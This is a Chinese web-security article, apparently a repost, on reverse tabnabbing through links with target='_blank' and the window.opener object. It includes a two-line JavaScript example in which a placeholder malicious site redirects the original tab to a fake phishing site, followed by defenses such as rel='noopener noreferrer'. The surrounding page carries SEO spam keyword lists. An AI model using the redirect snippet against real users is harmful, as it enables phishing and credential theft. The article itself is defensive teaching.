成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

你不曾察覺的隱患:危險的 target="_blank" 與 “opener”

開發 前端 安全
在網頁中使用鏈接時,如果想要讓瀏覽器自動在新的標簽頁打開指定的地址,通常的做法就是在 a 標簽上添加 target等于"_blank" 屬性。然而,就是這個屬性,為釣魚攻擊者帶來了可乘之機。

在網頁中使用鏈接時,如果想要讓瀏覽器自動在新的標簽頁打開指定的地址,通常的做法就是在 a 標簽上添加 target等于"_blank" 屬性。

然而,就是這個屬性,為釣魚攻擊者帶來了可乘之機。

你不曾察覺的隱患:危險的 target=\"_blank\" 與 “opener”

起源

parent 與 opener

在說 opener 之前,可以先聊聊 <iframe> 中的 parent。

我們知道,在 <iframe> 中提供了一個用于父子頁面交互的對象,叫做 window.parent,我們可以通過 window.parent 對象來從框架中的頁面訪問父級頁面的 window。

opener 與 parent 一樣,只不過是用于 <a target="_blank"> 在新標簽頁打開的頁面的。通過 <a target="_blank"> 打開的頁面,可以直接使用 window.opener 來訪問來源頁面的 window 對象。

同域與跨域

瀏覽器提供了完整的跨域保護,在域名相同時,parent 對象和 opener 對象實際上就直接是上一級的 window 對象;而當域名不同時,parent 和 opener 則是經過包裝的一個 global 對象。這個 global 對象僅提供非常有限的屬性訪問,并且在這僅有的幾個屬性中,大部分也都是不允許訪問的(訪問會直接拋出 DOMException)。



在 <iframe> 中,提供了一個 sandbox 屬性用于控制框架中的頁面的權限,因此即使是同域,也可以控制 <iframe> 的安全性。

利用

如果,你的網站上有一個鏈接,使用了 target="_blank",那么一旦用戶點擊這個鏈接并進入一個新的標簽,新標簽中的頁面如果存在惡意代碼,就可以將你的網站直接導航到一個虛假網站。此時,如果用戶回到你的標簽頁,看到的就是被替換過的頁面了。

詳細步驟

1.在你的網站 https://example.com 上存在一個鏈接: 

  1. <a href="https://an.evil.site" target="_blank">進入一個“邪惡”的網站</a> 

2.用戶點擊了這個鏈接,在新的標簽頁打開了這個網站。這個網站可以通過 HTTP Header 中的 Referer 屬性來判斷用戶的來源。

并且,這個網站上包含著類似于這樣的 JavaScript 代碼:

  1. const url = encodeURIComponent('{{header.referer}}'); 
  2. window.opener.location.replace('https://a.fake.site/?' + url);  

3.此時,用戶在繼續瀏覽這個新的標簽頁,而原來的網站所在的標簽頁此時已經被導航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F。

4.惡意網站 https://a.fake.site 根據 Query String 來偽造一個足以欺騙用戶的頁面,并展示出來(期間還可以做一次跳轉,使得瀏覽器的地址欄更具有迷惑性)。

5.用戶關閉 https://an.evil.site 的標簽頁,回到原來的網站………………已經回不去了。

上面的攻擊步驟是在跨域的情況下的,在跨域情況下,opener 對象和 parent 一樣,是受到限制的,僅提供非常有限的屬性訪問,并且在這僅有的幾個屬性中,大部分也都是不允許訪問的(訪問會直接拋出 DOMException)。

但是與 parent 不同的是,在跨域的情況下,opener 仍然可以調用 location.replace 方法而 parent 則不可以。

如果是在同域的情況下(比如一個網站上的某一個頁面被植入了惡意代碼),則情況要比上面嚴重得多。

防御

<iframe> 中有 sandbox 屬性,而鏈接,則可以使用下面的辦法:

1. Referrer Policy 和 noreferrer

上面的攻擊步驟中,用到了 HTTP Header 中的 Referer 屬性,實際上可以在 HTTP 的響應頭中增加 Referrer Policy 頭來保證來源隱私安全。

Referrer Policy 需要修改后端代碼來實現,而在前端,也可以使用 <a> 標簽的 rel 屬性來指定 rel="noreferrer" 來保證來源隱私安全。 

  1. <a href="https://an.evil.site" target="_blank" rel="noreferrer">進入一個“邪惡”的網站</a> 

但是要注意的是:即使限制了 referer 的傳遞,仍然不能阻止原標簽被惡意跳轉。

2. noopener

為了安全,現代瀏覽器都支持在 <a> 標簽的 rel 屬性中指定 rel="noopener",這樣,在打開的新標簽頁中,將無法再使用 opener 對象了,它為設置為了 null。 

  1. <a href="https://an.evil.site" target="_blank" rel="noopener">進入一個“邪惡”的網站</a> 

3. JavaScript

noopener 屬性看似是解決了所有問題,但是...瀏覽器的兼容性問題...


可以看到,現在絕大多數瀏覽器都已經兼容了 rel="noopener" 屬性了。但是,為了保護稍舊的“近代”瀏覽器或是很舊的“古代”瀏覽器甚至是“遠古”瀏覽器,只有 noopener 屬性還是遠遠不夠的。

這時,就只能請出下面這段原生 JavaScript 來幫忙了。 

  1. "use strict" 
  2. function openUrl(url) {  
  3.   var newTab = window.open();  
  4.   newTab.opener = null 
  5.   newTab.location = url;  
  6.  

推薦

首先,在網站中的鏈接上,如果使用了 target="_blank",就要帶上 rel="noopener",并且建議帶上 rel="noreferrer"。類似于這樣: 

  1. <a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">進入一個“邪惡”的網站</a> 

當然,在跳轉到第三方網站的時候,為了 SEO 權重,還建議帶上 rel="nofollow",所以最終類似于這樣: 

  1. <a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">進入一個“邪惡”的網站</a> 

性能

最后,再來說說性能問題。

如果網站使用了 <a target="_blank">,那么新打開的標簽頁的性能將會影響到當前頁面。此時如果新打開的頁面中執行了一個非常龐大的 JavaScript 腳本,那么原始標簽頁也會受到影響,會出現卡頓的現象(當然不至于卡死)。

而如果在鏈接中加入了 noopener,則此時兩個標簽頁將會互不干擾,使得原頁面的性能不會受到新頁面的影響。 

原文鏈接:https://knownsec-fed.com/2018...

責任編輯:龐桂玉 來源: segmentfault
相關推薦

2025-02-28 10:17:54

2023-09-19 07:46:03

2020-05-19 13:18:45

網頁前端Web

2012-06-15 17:04:50

數據中心火災

2021-10-20 08:23:20

HTMLWindow.open安全漏洞

2009-05-13 10:28:28

Linux命令

2020-03-19 19:00:01

Linux命令

2016-09-07 09:14:55

2013-11-25 16:50:56

2025-05-22 18:18:48

2020-05-03 14:14:48

Linux 命令 代碼

2025-01-20 15:21:25

2009-03-05 10:44:00

Wi-Fi無線路由器熱點

2021-02-04 08:00:00

僵尸網絡網絡安全信息安全

2015-10-30 09:51:19

Java重寫初始化隱患

2020-04-09 08:25:29

外圍設備惡意攻擊固件

2018-04-20 14:50:07

iPhone電腦iTunes

2016-03-09 10:12:56

2024-07-17 21:12:50

2018-07-13 06:45:55

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 99热精品在线观看 | 国产精品美女久久久久久免费 | 亚洲福利片 | 黄色一级毛片 | 天天干天天插 | 丁香婷婷综合激情五月色 | 在线观看视频一区 | 久久久婷婷 | 91精品久久久久久综合五月天 | 亚洲精品久久 | 欧美日韩精品区 | 久久久www成人免费精品 | 国产精品99999| 成人在线免费视频 | 久久久一区二区三区 | 久久99成人 | 在线播放一区二区三区 | 久久精品亚洲一区二区三区浴池 | 综合久久久| 国产精品视频久久久久久 | 久久精品成人 | 国产免费视频 | 91免费看片 | 中文字幕在线免费观看 | 久久狠狠| 怡红院怡春院一级毛片 | 无码日韩精品一区二区免费 | 亚洲激情视频在线 | 国产精品一区二区免费 | 911精品美国片911久久久 | 视频一区二区在线观看 | 国产精品九九九 | 久热伊人 | 成人av一区二区三区 | 91色视频在线观看 | 网站黄色在线免费观看 | 久久久精品国产 | 日韩精品一区二区三区中文字幕 | 成人在线电影在线观看 | 欧美亚洲国语精品一区二区 | 一级aaaaaa毛片免费同男同女 |